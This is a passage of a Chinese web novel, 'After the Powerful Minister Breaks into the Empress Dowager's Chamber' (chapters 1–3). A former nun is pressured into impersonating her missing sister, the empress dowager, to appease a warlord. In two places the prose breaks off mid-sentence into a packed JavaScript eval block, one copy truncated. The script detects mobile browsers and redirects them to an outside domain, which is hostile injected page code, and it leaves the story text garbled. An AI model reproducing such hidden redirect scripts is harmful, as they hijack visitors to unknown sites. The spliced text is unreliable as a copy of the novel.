《权臣强闯太后寝宫后》 1. 第 1 章 大齐,二月初。 昭帝崩,其子陆憺继位。 消息传到宁城上大甲道观时,朱凝眉尚未缓过神来,却又意外地见到了多年未见的大哥——朱归禾。 “小妹,你前夫李穆手握重兵,挟天子以令诸侯。陛下处境危矣,朱家危矣。我需要你跟我回京,帮我说服李穆,让他别为难陛下。你们毕竟夫妻一场,你最了解他,如今只有你能担此重任!” 再次听到李穆的名字,朱凝眉愣了愣,如今她已平静,不再因他流泪。 她立即拒绝了这个请求:“大哥,你多虑了,当年李穆在我朱家为奴时,朱家并未亏待过他,他岂会无缘无故为朱家。” 朱归禾见她提起李穆时神色如此平静,没有被拒绝的挫败感,反而生出了说服她的信心:“你与他新婚第二日,便向他提出和离,令他成为全京城的笑柄。这门亲事曾让李穆受辱,你怎能笃定他不会因此而记恨朱家?” 这门婚事,难道只有李穆一人受辱? 五年前的新婚夜,她刚和李穆行完房事,就听他流着泪说梦话,不停念着姐姐的名字。 李穆爱她的姐姐朱雪梅,可朱雪梅早已被立为皇后。李穆得不到姐姐,就把她当作姐姐的替身,娶她为妻。 人人都说这是门好亲事,认为她与李穆和离,是她不知好歹。 若她在成亲之前就知道,李穆深情凝望她的脸时,心里想的却是她姐姐,她一定不会嫁给李穆。 可直到新婚之夜,圆房之后,她才发现李穆真正想娶的人是朱雪梅,她被当成了替身。尽管她当时深爱着李穆,却不愿日日面对一个不爱自己的男人,所以她果断提出和离,远离京城。 朱凝眉声音清脆,下巴轻扬:“大哥,你请回吧。我已是出家人,红尘俗事与我无关。李穆的事,恕我无能为力。” 见她毫不动摇,朱归禾又对她用怀柔之策:“阿妹!五年前,你在新婚第二日就向李穆提出和离,惹下祸事,当年我顶着李穆和父亲的压力,豁出性命来帮你善后。这五年,你在道观修行,我给你送钱送粮,从未薄待于你。如今朱家全家性命危矣,权当大哥我求你了,你回京城去见见他吧。” 见大哥愁得眉头紧皱,脸色发白,朱凝眉不禁疑惑起来:“你为什么非要我去见李穆?李穆不会把我放在眼里,我对他来说屁都不是。就连当年我跟他提出和离,让他成为全京城的笑柄时,他都没说要见我。” 当年小妹提出和离时,李穆来过朱家,他躲在屏风后面,想知道小妹提出和离的真正原因。 小妹埋怨李穆睡觉打呼、磨牙,粗鄙不堪,她实在无法忍受。 李穆从前是朱家的马夫,又在军中磨砺多年,生活习惯难免粗糙。 两人生活习性天差地别,李穆考虑再三,同意和离。 当年事,彼此各有错处,朱归禾也不想再提。 他深深了解,朱凝眉嘴硬心软的个性,放软了语气道:“今时与往日不同,先帝驾崩后,雪梅忽然失踪,李穆发疯似的找她。现如今,他用你和离的事当借口,为难朱家,逼朱家交出学雪梅。若不是走投无路,我也不想来打扰你!” 姐姐失踪了! “姐姐去了哪里?” “她从皇宫密道离开的,无人知晓她去了何处。” 听到姐姐失踪,她本该为姐姐担忧,但朱雪梅从来都不需要弱者的同情。 她能果断抛弃太后尊位逃走,避免与李穆周旋,可见她的深谋远虑。她能狠心丢下亲生骨肉,计划缜密地在李穆的眼皮子底下逃走,把李穆急得焦头烂额,可见她的狠心。 姐姐既有深谋远虑,又能狠下心肠,这世上没人能伤害到她。 凭什么每次受到伤害的都是她朱凝眉呢?就因为她不够聪明,不够狠心吗?这一次,她要比姐姐还狠心! “你等等,我准备准备,明日便动身。” 朱凝眉不信大哥真的对李穆毫无办法,她打算先稳住大哥,今晚半夜三更离开此地,去浪迹天涯。 “别准备了。我在出发之前已让你嫂嫂准备所有细软,你随时可以跟我走。”朱归禾看出来她想逃,眼神变得冷锐:“阿妹,就算你不在乎朱家人的死活,难道你也不在乎榕姐的死活了吗?” 朱凝眉被这句话拿捏住了。 姐姐能抛下亲生骨肉,逃出皇宫,从此快活逍遥。她却做不到!她还是比不上姐姐。 真讽刺啊!李穆找不到他疯狂爱着的女子,就要杀光朱家人。可他万万想不到,即将被他杀死的朱家人当中,有一个是他的亲生骨肉。 当年她与李穆和离之后,很快便发现自己有了身孕。 但和离之事闹得很不愉快,她对李穆恶心极了,绝不可能因为怀了他的孩子就回去找他。 刚好大哥和嫂嫂成亲多年没有孩子,她便将自己刚生下的孩子送给了大哥。 大哥和嫂嫂心慈,定会将那孩子视如己出。她心如死灰,可以在上大甲道观过着清修的苦日子,可她凭什么要孩子也跟着自己吃苦? 朱凝眉再怎么铁石心肠,也说不出让大哥把孩子还给李穆,求李穆看在孩子的份上放过朱家这种混账话。 她将孩子给了大哥和嫂嫂后,那孩子便成了嫂嫂的心肝肉,孩子若被送走,嫂嫂只怕会痛断肝肠。 而且,李穆不爱她,又怎么会善待她的孩子? 朱凝眉感觉自己非回去不可了,但她还想做最后的挣扎:“姐姐也是朱家人,她都可以不在乎朱家人死活,逃得远远的,把这一切都抛下,为什么我不可以?至于榕姐,我已经把她送给了你,她现在是你的女儿,我的侄女!朱归禾,你用你女儿的性命来威胁我,不觉得可笑吗?你凭什么以为我会受你胁迫!” 朱归禾已经料定了她放不下榕姐,不管她骂得多难听,一概不回嘴,由着她骂,由着她哭。 榕姐毕竟是她十月怀胎生下来的骨肉,若说她对榕姐没有半点感情,不是自欺欺人吗? “别什么事都指望我!” “找我没用,你们得快点把姐姐找回来,只有她才能治得了发疯的李穆。” “在李穆心里,我从来都只是个无关紧要的人,你凭什么认为他愿意见我?” “就算他愿意见我,我也拉不下脸求他。” “就算我能拉得下脸求他,也只能求他给你多宽限几日去找回姐姐的时间。朱归禾,你别以为自己能把我拿捏住,你听见没有?” 最终,朱凝眉还是没有抗住兄长的远磨硬泡,骂骂咧咧地上了马车。 马车往京城方向行驶,朱凝眉沉浸在即将和李穆见面的复杂情绪里,完全没有察觉朱归禾眼中的愧疚。 朱归禾原本打算在马车上将所有真相都告诉她,但她对李穆很抵触。 李穆只给了他三个月期限,命他三个月内必须找到朱雪梅,活要见人,死要见尸,否则不但朱家上下鸡犬不留,就连小皇帝也会性命不保。 三个月期限已经快要到了,朱雪梅就像凭空消失了似的。 眼见李穆手中的屠刀即将落下,朱归禾只能出此下策。 小妹朱凝眉与皇后朱雪梅容貌七成相似,可让她假扮朱雪梅,以假乱真,迷惑李穆。 况且她曾跟李穆有过一段情,更知道该如何拿捏李穆。 四月下旬,宁城正是雨季。 朱凝眉坐在马车上,正往京城去。 朱归禾心中有愧,见朱凝眉沉默不语,更加心虚:“小妹,你在想什么?” 朱凝眉即便蹙眉,也是好看的。 朱雪梅虽是皇后,但她的容貌只是娟秀。而朱凝眉的五官精致,眉梢眼角,自带一股英气,使她容貌舒展,艳如牡丹。 “大哥,榕姐生得像谁?” 榕姐今年已满四岁,朱凝眉很少想起她。今日大哥提起榕姐,她忽然想起榕姐刚出生时躺在她怀里的模样。榕姐刚出生就脾气大,她喂奶的动作稍有些慢了,便扯开嗓子号啕大哭,一定要哭得尽兴了才肯继续吃奶。 那么小的孩子,脾气这么大,也不知像谁! 朱归禾拿话揶她:“你都说了,榕姐是我的女儿,自然生得更像我。” 朱凝眉笑了笑:“侄女肖姑,榕姐必然长得也很像我。” 即便榕姐长得有几分似李穆,他也不会想到,榕姐会是他的女儿吧,嫂嫂应该不会让榕姐和李穆有见面的机会。 朱归禾心细如发,感受到了小妹低落的情绪,有心安慰她几句。 可他想到自己把小妹哄回去,是要利用她,欺骗她,逼她做她最讨厌的事,心里也不禁有些难受。 “小妹,你就当这次回去是探亲。回到家,你先见一见榕姐,再顺便去你母亲坟前上一炷香。我答应你,等事情结束后,亲自送你回上大甲道观,从此,再也不会来打扰你。” 蓦然听大哥提起母亲,朱凝眉不由得鼻酸,她垂下眼眸,不让大哥看到她细长羽睫下的泪意。 当初李穆求娶,她答应嫁给李穆,是因为母亲已沉疴难医,药石无灵。她想用这门婚事来给母亲冲喜。 若是冲喜无用,也能了却母亲临终时的心愿,母亲希望她结一门好婚事,嫁个如意郎君。 李穆年纪轻轻,便封侯拜相,前途无量。而且他不好女色,房中没有乱七八糟的莺莺燕燕,母亲对此满意极了。再加上他父母双亡,没有兄弟姊妹,不需要维持复杂的亲戚关系,更让母亲觉得她与他之间,是天赐的良缘。 当年,李穆跪在她母亲面前,答应母亲会善待她,并承诺此生绝不纳妾,母亲才笑着咽气。 还好母亲已经去世了,她什么都不知道。 母亲这辈子最大的遗憾,就是不该成为朱雪梅母亲的替身,嫁给不爱她的父亲。 若是母亲知道李穆只把自己当做姐姐朱雪梅的替身,她该有多难受? 她不想让母亲泉下难安,也重复母亲的命运,嫁给不爱自己的人。 所以,她知道李穆心里的人是姐姐后,毅然决然地逃跑,在婚后第二日便提出了和离。 本以为与他和离之后,逃离京城,再也不用见他。 没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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嫂嫂姜凤英不发话,朱凝眉便站着不动。 姜凤英板着脸,故意跟丈夫唱反调,她对榕姐道:“到娘这里来。” “你想干什么?”朱归禾压低了声音,他不想在小妹刚回的第一天便和妻子在大门口吵架。 榕姐拦在姜凤英面前,奶嘟嘟的一张脸凶巴巴地看着他父亲,绵甜细软的小奶音怒气十足:“你凶我娘做什么?快给我娘道歉。” 朱归禾对榕姐是没办法发脾气的,他立即抱起榕姐,温柔解释道:“是爹错了,不该凶你娘。姑姑几年没回家了,你先带着姑姑去房里休息,爹爹这就向你娘负荆请罪。” 榕姐姐点点头,立即道:“放我下来,我自己走。” 榕姐走到姜凤英面前,把她的手和朱归禾的手放在一起,板着脸对姜凤英道:“你们夫妻,有话好好说,别吵架!” 姜凤英被乖巧的女儿哄得心花怒放,又见朱凝眉不争不抢的模样,心里也在犯嘀咕,难道她不是回来抢女儿的吗? “好,娘听榕姐的,不跟你爹吵架。榕姐先跟姑姑去玩吧,娘一会儿来找你。”说罢,姜凤英对朱凝眉点点头,同意她带着榕姐走。 朱凝眉带着榕姐回到自己的院子里,陪着榕姐吃了一顿饭。 榕姐虽然才四岁,却像个小大人似的,自己拿着碗和筷子,乖乖吃饭。 朱凝眉住在道观时,常看见附近的邻居端着碗,追着孩子喂饭。通常喂一碗饭,恨不得追出三里地。 还好榕姐和他们不一样! 朱凝眉越看榕姐,便越觉得喜欢。榕姐也不认生,吃过饭后,便和她聊天,像个小大人似的,把朱凝眉逗得笑声连连。 血缘是一种很神奇的东西,榕姐打心眼里喜欢黏着她,她走到哪里,榕姐便要跟到哪里,与她寸步不离。 小小的孩子,吃饱玩够便开始犯困。 仿佛是算计好了时间似的,榕姐刚睡下,朱归禾便带着姜凤英来了她的院子。 姜凤英对朱凝眉笑道:“小妹,榕姐没闹你吧。” “没有,她很乖。” “她呀,就是个窝里横。在旁人面前都乖巧,偏偏在我面前是个混世魔王。”姜凤英看似埋怨,实则透着炫耀。 朱凝眉心中酸涩,脸上强带笑容:“小孩子都是这样的,在外人面前懂事,只在父母身边闹脾气。” 听到朱凝眉主动承认自己才是榕姐的母亲,姜凤英感到心虚。被朱归禾瞪了一眼后,她讪笑道:“我把榕姐抱回去了,你们聊。” 姜凤英抱着女儿走出房间,刚走到院外,便听得房间里传来一记响亮的耳光声。 她闭上眼睛,额角一颤。 接着,房间里传来了朱凝眉嘶吼的声音:“你叫我回来,居然是想让我假扮姐姐去讨好李穆!当初我为什么要与李穆和离,你又不是不知道。朱归禾,你什么时候变得如此狠心!” 2. 第 2 章 朱凝眉难以用语言来宣泄此刻的委屈和心酸。 多么可笑! 从上大甲到京城的马车上,她一直在绞尽脑汁地想着该怎么帮大哥向李穆说情,她都已经想好了,为了全家人的安危,她一定会忍气吞声,在李穆面前好好表现,让李穆多宽限些时日。 尽管她明知李穆不会给自己多少脸面。或许在李穆看来,她离开他,全是她不识抬举! 若李穆对她有一丝一毫的情谊,怎么会在他们新婚第二日,她提出和离时,连见都不想见她,问也不问一句? 朱凝眉眼中仿佛涌出了泪,仔细看,这抹泪又化作了锐意:“去准备马车吧,我现在就回上大甲。从此,你们朱家人是死是活,都跟我没关系了。” 朱归禾板起脸:“小妹,我现在好声好气地在跟你商量,你又何必说气话?” 朱凝眉眼中的破碎感,仿佛精美的薄瓷砸在地上,碎成一片一片:“你是在跟我商量吗?你是在欺骗我,威胁我,通知我!你想让我当朱雪梅的替身?此事绝无可能,别逼我说更难听的话。” 朱归禾抱怨她不懂事:“如今三个月之期已到,阿雪杳无音信。找不到阿雪,我们朱家人都得死!你与其现在逃走,过几日再被李穆抓回来处死,还不如留在家里陪着我们一起死。榕姐这么可爱,你舍得扔下她吗?反正都快死了,你还不如留在家里多陪陪榕姐。” 真不愧是当过太子太傅的人,说话就跟淬了毒似的。 尽管朱凝梅已经放了狠话,朱家人是死是活,跟她没关系,可当她再次听到大哥说“朱家人都得死”的时候,还是心软了。 她有时候真的很恨自己为什么那么容易心软。 “你怎么能笃定他会相信?万一被他发现我是个冒牌货,他只会疯得更厉害。说不定连埋进土里的祖宗都能被他挖出来,锉骨扬灰。” 朱归禾见她已经不再反对得那么坚决,缓缓道:“从前,你姐姐是朱家的大小姐,而李穆只是朱家的马夫,他连抬头看你姐姐一眼都不敢。后来,你姐姐成了皇后,李穆只是臣子,他能见你姐姐的机会,也只是在宴席中遥遥相望的那一眼。” “你和雪梅容貌有七分相似,若妆容修饰得当,便能有九分似。她究竟长什么模样,李穆只有个模模糊糊的印象。而且我始终认为,李穆和你姐姐并没有相处过,他对你姐姐的感情,只是执念……只要我们异口同声,承认你是朱雪梅,他便会以为你是朱雪梅。你随便哄哄他,他就能当真。” 朱凝眉讽刺道:“你们觉得我像个傻子,很好欺负,便以为李穆也跟我一样好欺负?你们太天真了。” 李穆对姐姐是不是真感情,只有她最清楚。 新婚夜,天快亮时,李穆睡着了,把头埋在她的脖颈处。他被梦魇住了,滚烫的眼泪灼痛了她的肌肤。 她清清楚楚地听见李穆痛苦地在喊:“雪梅……雪梅。” 一声又一声,往她心里捅刀子,把她的心捅得稀碎。一刀又一刀,把她对他的爱从心里挖走,从此她只剩下一个残破不堪的躯壳。 “小妹,此事涉及帝王安危,是几位辅助大臣共同商量出来的结果,无论你同不同意,你都必须答应!朱家生你养你一场,如今该是你回馈朱家的时候了。” 听到这番言辞,朱凝眉眼中的讽刺愈加浓烈,眼中的泪意更加明显。 她把大哥当成家人,大哥把她当作棋子,就连她与榕姐相处的这半刻功夫,都是大哥的一步棋。 “朱归禾,你这是想逼死我!” 她不肯落下的泪,在此时终于落下来。 朱归禾看着她伤心的模样,心里也难受得紧。 他后退半步,在朱凝眉疑惑地注视下,跪在她面前。 “小妹,李穆拥兵自重,至今没有造反,都是因为阿雪。当今陛下为太子时,便主张轻徭役,施仁政,他将来一定是位明君。这天下不能落入乱臣贼子之手。阿妹,为兄实在是走投无路,只能出此下策,你就当帮帮我吧!” “大哥,你这是在做什么?”朱凝眉立即把朱归禾扶了起来。 从小,大哥就是朱凝眉最敬重、最依赖的人。 他像一座巍峨的大山似的,可以替所有人挡住风雨,如今这座大山岿然倒下,朱凝眉无论如何也不能在那上面再去踩两脚。 父亲宠妾灭妻,冬日她房里没有炭火,夏日只能吃馊饭,有时连馊饭也没有。可是每月大哥从学堂回到家,都会托仆人给她捎回一盒美味的点心送至后宅,有时还会给她塞一块碎银子让她自己去买糖吃。 直到有一年八月十五,大哥见到她身上的伤,才知她被虐待,于是大哥把她送到姐姐朱雪梅的院子里,叮嘱姐姐好生照料她,她才脱离危险。 姐姐朱雪梅虽瞧不上她,却也不会虐待她。 若是没有大哥的帮助,这世上还有没有朱凝眉这个人,都未可知。 大哥有了功名,娶了嫂嫂后,府中由嫂嫂管家。大哥命嫂嫂对她们母女多加照拂,她们母女才在朱家过上了好日子。 除了欺骗她回京城这件事,大哥从来都没有对不起她的地方。 她欠大哥的,应该还。 “你们朝堂上的权力争斗,我不会介入,也不会帮你杀李穆,虽然我恨他,但这是我自己的事。” 她终于松口,朱归禾自然答应:“李穆武功高强,你杀不了他,我们也不会让你杀他。他只是疯了,而不是十恶不赦。等他从疯狂中清醒过来……” 朱凝眉不想听他那些长远的计划,平静地打断他:“我只是单纯地扮演姐姐,哄李穆开心,别让他胡乱杀人,其他的事,我也不会帮你们做。” 朱归禾道:“你还应该保护好陛下,这才是最要紧的。我们找你入宫,是希望你保护陛下,不让他被李穆为难。” 朱凝眉想,她和李穆之间,早就没什么了,她也不应该被从前的记忆困住,至今都走不出来。 她擦干眼泪,道:“你高兴得太早,我还没答应你,只是先考虑考虑……但我告诉你,我自由散漫惯了,不习惯身边有太多人。若我在宫里住得不开心,随时会撂挑子不干,你别把所有希望都落在我身上。” 听到这句话,朱归禾总算松了口气。 接着,她又轻声问:“何日是最后的期限?” “包括今日在内,还有三日。” 朱凝眉神色一慌:“这么快?你去跟李穆说,找到了太后,但太后不想见他。能多拖延几日,便是几日。” “李穆不会轻信。” “我有办法让他相信。你帮我把夏芍找出来,我一个人搞不定李穆,我需要夏芍来帮我。有夏芍帮我煽风点火,给李穆吹耳边风,他不信也得信。” “也不行!今非昔比,夏芍如今已是忠永侯夫人,她已经不是你能掌控得了的人。如无必要,你最好一直躲着她,别跟她见面。你假扮太后,旁人辨认不出,夏芍绝对能认出来。” 夏芍曾是朱凝眉的贴身丫鬟,当年朱凝眉和李穆成亲,夏芍陪嫁到了忠勇侯府。 朱凝眉要跟李穆和离,想把夏芍带走,可夏芍却说她从小崇拜李穆,想留在李穆身边,继续伺候他。 朱凝眉和夏芍情同姐妹,夏芍想要的,她当然得成全。 只是没想到,李穆后来竟然娶了夏芍,还让她成了忠勇侯夫人。 “夏芍喜欢李穆,不想让李穆身旁有别的女人,我也不想和李穆太过亲近,我们目标一致,她怎么会拆穿我呢?你把她找来,我自有办法说服她。我与她多年不见,也有些想她了。” 朱归禾拗不过她,只答应先去探探夏芍的口风,若夏芍对她果真没有敌意,再谈合作的事。 只是,朱凝眉还没等来夏芍的消息,却等到了偷偷溜出宫外来看她的小皇帝。 小皇帝现在被李穆的人监视着,是怎么溜出来的? 而且他脸上脏兮兮地,衣服上也有许多灰,如果不是他身上穿的衣服料子还不错,说他是乞丐都有人相信。 陆憺见朱凝眉满脸疑惑地看着自己,笑着解释:“宫里有很多狗洞,朕请教了宫里的老太监,爬狗洞出来的,李穆不知道。” 陆憺已经十四岁,站起来比她还高半个头,她实在没办法把他当作儿子,只能说服自己,把他当作堂弟或表弟看待。 朱凝眉在心里又一次狠狠骂她姐姐,养了十几年的亲生骨肉,说抛弃就抛弃,究竟要心狠到什么程度才能做出这种事! 朱凝眉不自觉地涌出了母爱:“陛下,您要不要先洗把脸?” 陆憺看起来有些激动:“朕听说母后回来了,便有些迫不及待想来见母后。” 朱凝眉皱眉,疑惑道:“陛下,我还没答应我大哥要不要进宫,还在考虑呢。况且您这是第一次见我吧,刚见面就叫我母后,难道不觉得很荒唐吗?” “不,您就是朕的母后。”陆憺不愧是朱归禾的学生,说话的语调都跟他有几分相似,慢慢悠悠,听着就让人觉得他很命苦似的。 听小皇帝这语气,他并不反对自己当太后? 朱凝眉差点还以为,她要被小皇帝指着鼻子教训,让她入宫后时刻谨记自己的身份,她只是个冒牌太后,别太把自己当回事。 可事实上,她还没见过李穆,小皇帝就开始演上了,一口一个母后,叫得她浑身都不自在。 “好吧,陛下说是,那就是了。”小皇帝说话这么和气,她日后若要进宫,也不会太辛苦,这是好事。 “母后,您在害怕朕?可天底下,哪有母亲会害怕自己的儿子呢?”陆憺察觉她神色有些不自然。 陌生人的关心,总能让她感觉到温暖。 朱凝眉笑道:“我没当过太后,不知道该怎么演好这出戏。也怕自己演技糟糕,处处充满破绽,到时候帮不上忙,反而给陛下添乱难。陛下和姐姐平时是怎么相处的呢?” “那母后还记得她是个怎样的人吗?” 她? 朱凝眉反应过来,陆憺说的应该是她姐姐朱雪梅。 “好像……不太记得。姐姐生性骄傲,很少有笑脸,也不怎么同我说话。” 陆憺笑容苦涩:“看来我们母子同命相怜,她待朕,也是如此。” “怎么会?你可是她的亲儿子!”朱凝眉记得,朱雪梅对身边亲近的人,很是温温柔柔,她跟青梅竹马的舒奕说话时便是如此。 “朱太傅难道没有告诉母后,朕的生母,其实是一名宫女,朕只是她的养子。不过很少有人知晓此事,就连李穆也不知情。”陆憺见到朱凝眉惊讶得张开嘴,才确认,她的确不知此事。 陆憺知道她还在犹豫,才冒着危险从宫里钻狗洞出来见她。他每日都被李穆用阴沉的目光盯着,担惊受怕,生不如死。 若她能早点进宫,帮他缓解压力,该有多好! 陆憺见她性情温顺,开始唱苦肉计,尝试和她拉近距离:“她对我不好,小时候,我功课写得不好,经常被她用鞭子抽。” “啊?”朱凝眉诧异地叫出声,眼神里充满疑惑。 朱雪梅虽然性子冷漠、高傲,却从未虐待过奴仆。像她这样自命不凡的人,怎么会放下一身的矜骄,去鞭打一个孩子? 陆憺见她不信,立刻就要脱衣服向她证明自己并未说谎。 朱凝眉立即上前,握住他的手,阻止他继续脱衣服。她终于知道朱雪梅为什么逃走,因为小皇帝不是她的亲骨肉,所以她对小皇帝的死活毫不在乎。 小皇帝真是命苦,从小被朱雪梅忽视着长大,长大后又要因为朱雪梅受李穆折磨,这对的母子缘分,简直是孽缘。 朱凝眉放宽心了,她虽然不如姐姐聪明,也不如姐姐那般心狠,但她在照顾人这方面,还是比姐姐强不少。因此,她对自己入宫当太后,忽然生出了几分信心。 陆憺见她如此心软,嘴角扬起一丝淡淡的笑。心软的人,比较好控制,难怪朱太傅要把她送进宫。 她身上有股淡淡的白薇香,闻之可令人提神醒脑,她微微弯腰,认真帮陆憺扣上刚被他解开的扣子…… 夏日的风从窗缝里吹来,拂过她耳边散落的碎发,她的脖颈细长洁白,似羊脂暖玉。 陆憺十四岁,血气方刚,未尝情欲。 此时闻到女子身上传来的芳香,心脏止不住地怦怦跳。 他放缓了呼吸,不叫朱凝眉发现。 朱凝眉帮他系上扣子,顺便掸了掸他身上的灰,才告诉他:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445699|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我没有怀疑陛下。” 朱凝眉看着他尚显稚嫩的脸,想到他虽是皇帝,却也是个从小没娘疼的孩子,再看他时心里已经软得一塌糊涂,眉眼中皆是慈母般的温柔。 那笑容落在陆憺眼底,却让他呼吸变得更加急促。 刚进门的时候,陆憺认为朱凝眉和朱雪梅容貌有七八分相似,足可乱真。 如今再仔细看,他觉得朱凝眉和朱雪梅貌似而魂不似,朱凝眉身上有股淡雅的神仙气派,她似从天上来,甘愿入这人间来渡劫,这股子气息,与朱雪梅身上那股不肯正眼瞧人的傲气截然不同。 在陆憺看来,朱凝眉万般温柔可爱,李穆的脑子是打仗时被打伤了吧,要不然他怎么会死心塌地地喜欢冷冰冰的朱雪梅? 陆憺心里起了恶念,他想出了折磨李穆的法子。 陆憺忽然问:“母后见过下人驯狗吗?” “驯狗?” “只要母后学会驯狗,李穆便会成为一条好狗。还请母后给朕六年时间,六年后,待朕亲政,夺回皇位,便会为母后修一座道观,令母后颐养后半生。” “那倒不用了!” 朱凝眉没有听懂陆憺的言外之意,摆摆手,道:“修道观太破费了,劳民伤财,大可不必。你放我回自己的道观就行,我那道观虽然有些破旧,修整一番,也还能住人。” 陆憺只点点头,却未做口头承诺。 两人交流了一番驯狗的心得后,便没什么话说了,各自沉默着。 朱凝眉觉得和他待在一间屋子里不太自在,偏偏陆憺又不肯走。他是皇帝,朱凝眉不好赶他,只能尴尬地陪他沉默着。 好在榕姐闯了进来,打破这份尴尬。 她跑到陆憺面前,噘着小嘴儿,问:“憺哥哥来了,怎么不去看我?” 陆憺把榕姐抱起来,举高,笑道:“我正在给母后请安,再一会儿再去看榕姐。” 榕姐皱眉,看了看陆憺,又看了看朱凝眉,道:“憺哥哥的母后,不是皇后姑姑吗?怎么这会儿又成了小姑姑。” 朱凝眉怕陆憺生气,立即紧张起来,笑着向陆憺解释:“童言无忌,她还小,陛下别放在心上。都怪我们还没来得及教她,向她解释清楚。” 陆憺对她摇摇头,示意她别紧张,他对榕姐道:“从此以后,小姑姑就是朕的母后,榕姐记住了吗?” 榕姐虽聪明,却仍是个小孩子,她不喜欢想太过复杂的问题。 她扭头看了看朱凝眉,道:“我记住了,以后小姑姑就是皇后姑姑。” “要叫太后姑姑。” 榕姐乖巧道:“太后姑姑。” 平日里,姜凤英把榕姐看得像眼珠子似的,从不让榕姐出门。 今日榕姐赖上了陆憺,逮住机会,又哭又闹,非要陆憺带她上街玩耍。这个机灵鬼,早看出来姜凤英不敢反驳陆憺的话,才有此算计。 陆憺抱着榕姐,对姜凤英道:“舅母,我带妹妹出去走走,半个时辰就回来。” 姜凤英不敢反驳,只好对朱凝眉道:“阿妹也跟着一起去吧。” 权衡一番,对榕姐的担忧占据上风,姜凤英不再排斥朱凝眉与榕姐亲近。有朱凝眉在,她定不会让榕姐有什么闪失。 京城街道繁华,商铺鳞次栉比。 陆憺虽是皇帝,却还是个十四岁的孩子,他抱着榕姐下了马车,到处看看,对什么都感兴趣。榕姐喜欢杂耍,陆憺对街上卖的杂书感兴趣,两人喜欢的东西不一样,榕姐很快便从陆憺身上扑腾下来,往杂耍摊子的方向撒丫子跑去,朱凝眉吓得额头冒冷汗,急忙跟了过去。 人潮拥挤,榕姐很快就被人群不知挤到哪里去了。 朱凝眉急出一身冷汗。 “榕姐,榕姐……” “夫人,榕姐在这里。” 正当她急得三魂七魄都飞走时,一个面容白净的男子将榕姐抱了起来,穿过拥挤的人群,朝她走来,笑道:“夫人别急,奴婢时刻守着榕姐,她丢不了。” 朱凝眉觉得他很眼熟,却又想不起来他是谁。 “你是……” “奴婢司礼监总管梅景行,给夫人请安。”话音刚落,梅景行便已将榕姐塞回朱凝眉怀里,她提到嗓子眼的心瞬间落回原位。 “多谢梅总管。”恍恍惚惚的,朱凝眉记得姐姐身边,好像是有这么个面容白净的太监,从前她仿佛还救过他的命。 沿街的楼上,一人倚窗而坐,他身着玄衣锦服,身材颀长,肩宽腰细,容貌俊朗,眉心有一道疤。他表情严肃,一双凤眼不怒而威,闪过一抹淡淡的戾色。 “无论你逃到天涯海角,我都能把你找回来!” 朱凝眉停住脚步,回头看,她总觉得有人在打量自己。 隔着人潮汹涌,她朝着一个方向看去,却只看到了一个颀长的背影,那人正要离开。 或许是她的错觉吧,谁会盯着她打量呢? 榕姐在朱凝眉怀里扑腾个不停,一定要去看杂耍。 朱凝眉抱着她在杂耍摊子旁看了小半时辰,已经筋疲力尽。 榕姐力气大,性子太过活泼,一般人还真治不住她。或许榕姐遗传了她那马夫生父的天生蛮力? 因为榕姐再次乱跑,被朱凝眉逮住错处,只能心不甘情不愿地带着小姑姑给她买的半马车玩具和零嘴回家。 刚买这些玩具和零嘴时,榕姐还对朱凝眉生出了几分亲近,却在乱跑被她数落了几句后,再也不肯让她抱。 姜凤英见榕姐回来后,与朱凝眉并不亲近,对此乐见其成。而朱凝眉带着榕姐出去玩,不到一个时辰,就累得全身骨头都懒了。 因此,姜凤英更加肯定,朱凝眉此番回来,不会抢走她的榕姐。 人心里没有了成见,就多了几分宽容。 朱凝眉今年二十五岁,大概因她在山中修道的缘故,身上总带着一股脱尘的美。她头上只用了一根玉簪,脸上未施脂粉,却有种难以描述的风情,让姜凤英一个女子瞧了都动心。 姜凤英拉着她的手,叹道:“你若是不跟李穆和离,现在便是忠勇侯夫人,与他夫妻和睦,共享天伦之乐。如今你的贴身丫鬟,占了你的位子,在替你享福,你后悔过吗?” 3. 第 3 章 嫂嫂是在担心她和李穆和好,把榕姐要回去吗? 朱凝眉如今自顾不暇,没有心思安抚满心焦灼的嫂嫂。 她淡淡道:“嫂嫂,我如今可是太后,李穆见了我,都得跪着跟我讲话。我怎么会后悔呢?” 但朱凝眉还是有些过于乐观,以至于管家进来汇报李穆就在门外等着她召见的时候,她都恨不得立即从家里的后门溜出去。 现在就要见李穆吗?她还没有做好准备。 老管家朱胜一脸紧张地说:“夫人,二姑娘。李穆带着宫里的仪仗队来到府外,要立即接太后回宫。” 姜凤英一脸担忧:“既然李穆亲自带人来接,小妹,你就随他入宫吧。” 尽管姜凤英心中矛盾重重,一方面她担心小妹惹恼李穆,给全家带来危险。另一方面她又怕小妹和李穆重归于好,把榕姐从她身边夺走。 但无论姜凤英如何担心,在这件事情上,她都使不上半分力气。 朱凝眉情绪淡淡地,没什么反应,姜凤英问:“小妹,若不想进宫,也该请李穆进来坐一坐。就这样晾着他,不好吧?” 朱凝眉站起来,对管家道:“让他滚,这三个字,原话告诉李穆!” 说完,朱凝眉对姜凤英行了一礼,在众人的注视下任性地离开。 看着朱凝眉离去的背影,头发白了一半的老管家朱胜脸上的皱纹凿得更深了:“夫人,李穆大张旗鼓地接太后入宫,老奴若照实说那三个字,只怕……” 朱管家的难处,姜凤英当然明白。现如今,提到李穆的名字能止小儿啼哭,管家怎敢让李穆滚? 五年前,李穆打仗归来,被封忠勇侯,他来朱家感谢旧主栽培之恩,看上了小妹朱凝眉,第二日便上门求娶。 小妹从小性子古怪,公公认为她高攀不上好人家,帮她找夫婿时,都往低处相看。 